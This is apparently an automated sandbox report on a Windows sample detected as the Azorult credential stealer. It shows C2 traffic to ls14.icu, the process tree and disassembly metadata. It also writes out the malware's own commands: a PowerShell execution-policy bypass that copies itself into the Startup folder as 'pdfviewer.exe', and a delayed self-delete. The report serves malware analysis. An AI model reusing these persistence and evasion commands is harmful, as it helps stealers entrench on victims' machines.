Jan 11, 2025 06:51:00.727914095 CET	4944	OUT	Data Raw: 4d 16 ef 55 1e f4 54 0c f7 4d 01 f8 4c 02 ef 49 1f e2 44 14 ef 56 01 e6 49 01 f6 49 01 e9 52 19 fd 55 01 e9 5b 05 ff 4a 18 f8 50 14 f4 42 1e e4 5b 1d e8 50 13 e9 46 03 e1 49 00 f7 57 1c ed 57 04 f4 4f 1f f4 47 04 f7 41 00 ec 5a 13 fd 59 06 ec 4a Data Ascii: MUTMLIDVIIRU[JPB[PFIWWOGAZYJUIHZZLRKVVKSVU[D[AUUMWOBDUVIENRRSRGROILJFVTAMYIHVHHQJ
Jan 11, 2025 06:51:00.727936983 CET	2472	OUT	Data Raw: 2d 30 d6 66 58 a4 0a 24 c8 53 30 e7 61 39 e6 47 1b c1 66 0f 80 66 2d cb 0e 5f a7 72 33 fe 66 1c cc 6f 1d ea 4d 3a cb 59 7b cb 7b 30 a3 09 5c df 65 05 cb 4a 37 c2 4b 11 e0 6c 30 f4 2d 30 d6 66 58 a4 0a 24 c8 53 30 e7 61 39 e6 47 1b c1 66 0f 80 66 Data Ascii: -0fX$S0a9Gff-_r3foM:Y{{0\eJ7Kl0-0fX$S0a9Gff-_r3foM:Y{{0\eJ7Kl0-0fX$S0a9Gff-_r3foM:Y{{0\eJ7Kl0-0fX$S0a9Gff-_r3foM:Y{{0\eJ7Kl0-0
Jan 11, 2025 06:51:00.727966070 CET	813	OUT	Data Raw: 6f 30 dd 5f 67 f2 53 14 e2 51 12 fb 40 03 eb 4b 7b d6 6f 26 d6 53 1e af 01 5b ae 0d 55 ae 03 55 ae 03 55 ae 03 83 3d e5 75 ac 07 55 ae 01 51 ae 03 77 ae 03 55 ae 03 55 ae 02 55 8e 03 55 ae 23 19 ae 03 13 c7 6f 30 dd 5f 67 f2 44 07 f6 59 11 e5 48 Data Ascii: o0_gSQ@K{o&S[UUU=uUQwUUUU#o0_gDYHAQGU-1`-HTUUUU-*WUU!UUUuUSUE<f&1QGU_OVF{9{W[UUUrQWUUUT#UUj9p_LA
Jan 11, 2025 06:51:04.654912949 CET	838	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 05:51:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.37 Vary: User-Agent cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=inDx7wG%2FI3pGShgRrXbTJVA8aO5P4Zv%2BfpZvHVqNg1UOgPZMiTI4cPoJm3tDZ5SvYSbL%2B5J5nEr3LdLE6XiGjSb%2B2VFbAxU%2Fp62WjMBMIINJNS4RAmSpPdts6A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9002a1f00f04f3bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1596&min_rtt=1596&rtt_var=798&sent=20&recv=35&lost=0&retrans=0&sent_bytes=0&recv_bytes=33112&delivery_rate=0&cwnd=80&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 37 0d 0a 66 61 6c 73 65 4f 4b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7falseOK0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49711	104.21.75.48	80	3228	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:51:08.615413904 CET	274	OUT	POST /HK341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: ls14.icu Content-Length: 113 Cache-Control: no-cache Data Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 8b 30 60 8b 30 63 8b 30 63 e8 26 66 9e 45 17 8b 31 11 8b 30 66 8b 30 63 8b 30 65 8b 30 6c 8b 30 67 eb 40 70 9d 32 70 9c 47 70 9d 32 16 8b 30 60 8b 30 67 8b 30 6c 8b 30 64 8b 30 6c 8b 30 6d Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b0`0c0c&fE10f0c0e0l0g@p2pGp20`0g0l0d0l0m
Jan 11, 2025 06:51:09.653635025 CET	832	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 05:51:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.37 Vary: User-Agent cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KqOY4ZfyaPjSfkq9d3gepPrySOtbNEBo7Hi0XKhEy30msSK%2Fxe%2FC%2Bb4rZZrdouXoqAXp9jU5Sjhy94yrIYaKj%2FFvIiPQOchTiKh4e8%2BsjtyV7pGVJyUWVmDhyg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9002a22158020dc7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1796&min_rtt=1796&rtt_var=898&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=274&delivery_rate=0&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 66 2d c7 77 0d 0a 30 0d 0a 0d 0a Data Ascii: 4f-w0

Target ID:	0
Start time:	00:50:51
Start date:	11/01/2025
Path:	C:\Users\user\Desktop\962Zrwh5bU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\962Zrwh5bU.exe"
Imagebase:	0x270000
File size:	1'050'624 bytes
MD5 hash:	EA1F54C1AD44F908FA59EADF9E5C6D29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 00000000.00000002.3296630648.00000000037B9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Azorult, Description: detect Azorult in memory, Source: 00000000.00000002.3296630648.00000000037B9000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	00:50:51
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\Desktop\962Zrwh5bU.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe'
Imagebase:	0x770000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:50:51
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:50:53
Start date:	11/01/2025
Path:	C:\Users\user\Desktop\962Zrwh5bU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\962Zrwh5bU.exe"
Imagebase:	0x5c0000
File size:	1'050'624 bytes
MD5 hash:	EA1F54C1AD44F908FA59EADF9E5C6D29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000004.00000002.2160278016.00000000027D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000004.00000002.2167839290.0000000003920000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Azorult_1, Description: Azorult Payload, Source: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: kevoreilly Rule: Azorult, Description: detect Azorult in memory, Source: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2169033170.0000000003E70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:50:53
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:51:03
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "962Zrwh5bU.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:51:03
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:51:03
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\timeout.exe 3
Imagebase:	0x480000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:51:04
Start date:	11/01/2025
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe"
Imagebase:	0x200000
File size:	1'050'624 bytes
MD5 hash:	EA1F54C1AD44F908FA59EADF9E5C6D29
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: MALWARE_Win_DLInjector02, Description: Detects downloader injector, Source: 00000009.00000002.3301829133.0000000004E20000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 00000009.00000002.3296493750.0000000003796000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000009.00000002.3296493750.0000000003796000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 00000009.00000002.3296493750.0000000003796000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Azorult, Description: detect Azorult in memory, Source: 00000009.00000002.3296493750.0000000003796000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Antivirus matches:	Detection: 63%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:51:05
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe' 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe'
Imagebase:	0x770000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:51:05
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:51:07
Start date:	11/01/2025
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdfviewer.exe"
Imagebase:	0xd20000
File size:	1'050'624 bytes
MD5 hash:	EA1F54C1AD44F908FA59EADF9E5C6D29
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.5%
Total number of Nodes:	161
Total number of Limit Nodes:	19

Executed Functions

Function 075E2100 Relevance: 6.9, Strings: 5, Instructions: 647
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 075E35D9
Haq, xrefs: 075E377D
Haq, xrefs: 075E383B
Haq, xrefs: 075E366C
Haq, xrefs: 075E36F3

Memory Dump Source

Source File: 00000000.00000002.3305249713.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_962Zrwh5bU.jbxd

Similarity

API ID:
String ID: Haq$Haq$Haq$Haq$Haq
API String ID: 0-1792267638
Opcode ID: 5eae8e9e6f22cd5868e34187d49235dfaa1f1d8a9072c41df2cd5ab198808dc0
Instruction ID: 4ea512e6df1b37d4df9483984fa8110bfa6556dd7cdc1e1f995cc1935de84fc4
Opcode Fuzzy Hash: 5eae8e9e6f22cd5868e34187d49235dfaa1f1d8a9072c41df2cd5ab198808dc0
Instruction Fuzzy Hash: DC429070E00218CFDB58DFA9C89079EBBF6BF89300F1584AAD409AB395DF349945CB91

Function 075EE820 Relevance: 1.9, APIs: 1, Instructions: 396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3305249713.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_962Zrwh5bU.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: a67c6364075817396de7ef4c0f4b2301aa6dd79ba60f3bf4a6790df324e19c29
Instruction ID: 21f7883c4ddccb464cd763923568ff2db622f714506578559ee087bd3944c137
Opcode Fuzzy Hash: a67c6364075817396de7ef4c0f4b2301aa6dd79ba60f3bf4a6790df324e19c29
Instruction Fuzzy Hash: 50F17CB0A10209CFEB18DFA9C989B9DBBF5FF88304F148559E409AB365DB74E945CB40

Function 075E3008 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3305249713.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_962Zrwh5bU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c31eae6250c76a3b33d43d3a30d9ba417ab36f84775f0ce064c284644b93980
Instruction ID: 2e3b076def865e8f34031b926a0152ab31f52732d212bb8aeefd1e364b50fc95
Opcode Fuzzy Hash: 7c31eae6250c76a3b33d43d3a30d9ba417ab36f84775f0ce064c284644b93980
Instruction Fuzzy Hash: D0C149B1E002198FCF19CFA5C8807DDBBB6BF89300F1585AAD449AB255EB70D985CF91

Function 00D0D3C9 Relevance: 6.1, APIs: 4, Instructions: 131
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00D0D456
GetCurrentThread.KERNEL32 ref: 00D0D493
GetCurrentProcess.KERNEL32 ref: 00D0D4D0
GetCurrentThreadId.KERNEL32 ref: 00D0D529

Memory Dump Source

Source File: 00000000.00000002.3280457912.0000000000D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_962Zrwh5bU.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: fb94bcba02217c768d93ae28a7350b1a166a196ad209ea822297f2c23340a109
Instruction ID: e1d54f77d649605a4fd6833690484000ac005df5b77912885ae155d0a436258e
Opcode Fuzzy Hash: fb94bcba02217c768d93ae28a7350b1a166a196ad209ea822297f2c23340a109
Instruction Fuzzy Hash: D75158B09003498FDB14DFA9D548BAEBBF2EF89304F24845AD419A7390D778AD44CF65

Function 00D0D3D8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00D0D456
GetCurrentThread.KERNEL32 ref: 00D0D493
GetCurrentProcess.KERNEL32 ref: 00D0D4D0
GetCurrentThreadId.KERNEL32 ref: 00D0D529

Memory Dump Source

Source File: 00000000.00000002.3280457912.0000000000D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_962Zrwh5bU.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 0c2bb48382179dc392bb8d6b9b89d8e30a8055390f543b9e8a9029c40535ce16
Instruction ID: 6644422e22cb1ff3eb3fe2447c7cdff0786a388740f345bdf622ad58f299c105
Opcode Fuzzy Hash: 0c2bb48382179dc392bb8d6b9b89d8e30a8055390f543b9e8a9029c40535ce16
Instruction Fuzzy Hash: 495159B09003098FDB14DFAAD548BAEBBF1FF49314F24845AD419A7390D778A944CF65

Function 00D0AD48 Relevance: 1.7, APIs: 1, Instructions: 199
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00D0AF9E

Memory Dump Source

Source File: 00000000.00000002.3280457912.0000000000D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_962Zrwh5bU.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ee2397f70203650029ae8dd584b64d21cb0e9c567c63c7a39946b260679148c7
Instruction ID: fde4985bc7d6f3bc6a83f5efbc7a7337fc0d9342bfa910ac277b1fc95347e163
Opcode Fuzzy Hash: ee2397f70203650029ae8dd584b64d21cb0e9c567c63c7a39946b260679148c7
Instruction Fuzzy Hash: D9714770A00B058FD724DF29D54579ABBF5FF88300F04892DE48AD7A90DB74E949CBA1

Function 00D04248 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00D059C9

Memory Dump Source

Source File: 00000000.00000002.3280457912.0000000000D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_962Zrwh5bU.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a8bf0ae2ae3a1a4df306d6e286cb7443831fbc5e0f70b638a2144e4f360491b6
Instruction ID: 976c657bfe1f9ebdd8b80101da71a4521ac354fc282cc127817ac1b63119688f
Opcode Fuzzy Hash: a8bf0ae2ae3a1a4df306d6e286cb7443831fbc5e0f70b638a2144e4f360491b6
Instruction Fuzzy Hash: 0C41DFB0D00719CBDB24DFA9D884B9EBBF5FF48304F20816AD408AB255DB756946CFA0

Function 00D0590D Relevance: 1.6, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00D059C9

Memory Dump Source

Source File: 00000000.00000002.3280457912.0000000000D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_962Zrwh5bU.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 7449dcd1307b396319feb0ffdf018653beddfeabce8c07a276257b7ac1576455
Instruction ID: 745782b5bdc22f8a2c23b40ec552f420ba8678018655a182850edafbe6cd6bce
Opcode Fuzzy Hash: 7449dcd1307b396319feb0ffdf018653beddfeabce8c07a276257b7ac1576455
Instruction Fuzzy Hash: 8941D1B0D00619CFDB24CFA9C984BDEBBF5BF48304F24816AD408AB265DB756946CF60

Function 075E3B88 Relevance: 1.6, APIs: 1, Instructions: 77
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageW.USER32(?,?,?,?), ref: 075E3C3D

Memory Dump Source

Source File: 00000000.00000002.3305249713.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_962Zrwh5bU.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 07981603af707d25b9821c96c54dfa2189484d8ab5cfec8f5124df4b6dfb7890
Instruction ID: bd814aa83cbc32851f47fd442b0f4184b58e2be5ac4e3c1babb60d847f7b2cbd
Opcode Fuzzy Hash: 07981603af707d25b9821c96c54dfa2189484d8ab5cfec8f5124df4b6dfb7890
Instruction Fuzzy Hash: 642157B5A003089FCB14DFA9D988BDEBBF8FF48310F10845AE559A7350D734A984CBA0

Function 075E56F0 Relevance: 1.6, APIs: 1, Instructions: 64
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,?,?,?), ref: 075E577D

Memory Dump Source

Source File: 00000000.00000002.3305249713.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_962Zrwh5bU.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: cf11e1deaaa743bb384d4d055841748b3a1c5c07823ac446db1631fdd04dfdaa
Instruction ID: f9d702c13c574b5cebd14397ef0b84caca0b7460d85a72f715346dabe077deb1
Opcode Fuzzy Hash: cf11e1deaaa743bb384d4d055841748b3a1c5c07823ac446db1631fdd04dfdaa
Instruction Fuzzy Hash: 98216AB6800348CFDB11CF99C945BEEBFF4EF08320F15849AD458A3252D338A955CBA1

Function 00D0D619 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00D0D6A7

Memory Dump Source

Source File: 00000000.00000002.3280457912.0000000000D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_962Zrwh5bU.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 40a8fa4aed4dfe8b49f576ca5706a1bf4c411accaa52f25ea7a08507780c3c4c
Instruction ID: 8bb6357f461f03614027d1646423530c3965fa0c48dcc48f512088fa522a1314
Opcode Fuzzy Hash: 40a8fa4aed4dfe8b49f576ca5706a1bf4c411accaa52f25ea7a08507780c3c4c
Instruction Fuzzy Hash: E021E0B59002489FDB10CFAAD584ADEBBF5EB48324F14841AE958A7350D378A944CFA4

Function 00D0D620 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00D0D6A7

Memory Dump Source

Source File: 00000000.00000002.3280457912.0000000000D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_962Zrwh5bU.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 73706bf4d135d79a07beb0fe6c17b165066340f755d751f35b8220ec1124a3b9
Instruction ID: dc1367508f802b42cd537db2cc8f178bfc2a92c10e72b7512ed1f0bc515560ad
Opcode Fuzzy Hash: 73706bf4d135d79a07beb0fe6c17b165066340f755d751f35b8220ec1124a3b9
Instruction Fuzzy Hash: 1621C4B59002489FDB10CF9AD584ADEFBF9FB48310F14841AE958A7350D379A944CFA5

Function 075E19E0 Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowTextW.USER32(?,00000000), ref: 075E1A4A

Memory Dump Source

Source File: 00000000.00000002.3305249713.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_962Zrwh5bU.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 5d4b4d0665d0e7b7cac1d4893acb095c00ee0c5a910d8a9494d2226448f61fb5
Instruction ID: 9cafb40314f9db9b8ed3d8565de23a31b7fde714d734c341aa55858bd0992d24
Opcode Fuzzy Hash: 5d4b4d0665d0e7b7cac1d4893acb095c00ee0c5a910d8a9494d2226448f61fb5
Instruction Fuzzy Hash: 311123B68006098FDB14CF9AC444BEEFBF8FF88320F10842AD858A7240D738A545CFA5

Function 075E19DA Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowTextW.USER32(?,00000000), ref: 075E1A4A

Memory Dump Source

Source File: 00000000.00000002.3305249713.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_962Zrwh5bU.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 8255e7a56290921b1f281ffc174c8bbaed7f1866d463024a07df7da9671069a5
Instruction ID: 9b306a0174e69979d0e40083c10d26fccf95129e4f831edf18e393332fd4665d
Opcode Fuzzy Hash: 8255e7a56290921b1f281ffc174c8bbaed7f1866d463024a07df7da9671069a5
Instruction Fuzzy Hash: 641100B68006098FDB14CF9AC544BEEFBF8AF48310F14842AE859A7640D738A545CFA1

Function 075E5720 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 075E577D

Memory Dump Source

Source File: 00000000.00000002.3305249713.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_75e0000_962Zrwh5bU.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: da4d653fd1f8eb0332f82fa4400b35f1d167b585e8a0ccf8fc373f3510e5b8e7
Instruction ID: 3908b0c1887dddf58fb3a3d67d14ff871e8fc6ec3ccef53b4480f96a425705de
Opcode Fuzzy Hash: da4d653fd1f8eb0332f82fa4400b35f1d167b585e8a0ccf8fc373f3510e5b8e7
Instruction Fuzzy Hash: A811E6B58003499FDB10DF9AD945BDEBBF8EB48310F108419D558A3650D378A554CFA5

Function 00D0AF38 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00D0AF9E

Memory Dump Source

Source File: 00000000.00000002.3280457912.0000000000D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_962Zrwh5bU.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
